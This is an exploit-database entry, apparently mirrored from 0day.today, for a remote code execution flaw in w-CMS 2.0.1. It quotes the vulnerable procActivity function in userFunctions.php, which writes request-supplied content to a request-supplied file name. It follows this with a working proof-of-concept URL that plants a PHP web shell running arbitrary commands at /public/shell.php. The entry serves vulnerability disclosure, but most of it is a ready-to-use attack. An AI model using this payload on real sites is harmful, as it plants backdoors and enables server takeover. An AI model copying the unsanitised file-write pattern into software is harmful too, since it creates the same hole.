Lucene search
K

w-CMS 2.0.1 - Remote Code Execution Vulnerability

🗓️ 15 Aug 2013 00:00:00Reported by ICheer_No0MType 
zdt
 zdt
🔗 0day.today👁 15 Views

Remote Code Execution Vulnerability in w-CMS 2.0.

Code
---> Vuln Code : /userFunctions.php
 
    
  6. switch($_REQUEST['udef']) // user defined function
         ...
 11. case 'activity': procActivity(); // <-- call procActivity Function
         ...
254. function procActivity()
255. {
256.    $type    = $_REQUEST['type']; // <-- type
257.    $content = $_REQUEST['content']; // <-- content
258.    $content = preg_replace("/\|/","\0xff ",$content)."\n";
259.    $data = explode("\n",@file_get_contents("./public/$type")); 
260.    $file = @fopen("./public/$type", "w"); // <-- filename = $type
261.    if($file);
262.    {
263.        fwrite($file, $content); // <-- fwrite to write $content into $filename
264.        for($ix=0;$ix<25;$ix++)
265.        {
266.            fwrite($file,$data[$ix]."\n");
267.        }
268.        fclose($file);
269.    }
     
---> Exploit/Proof of Concept (PoC)
  
http://localhost/wcms/userFunctions.php?udef=activity&type=shell.php&content=<?php system($_GET['cmd']); ?>
  
Find your shell on /public/shell.php

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation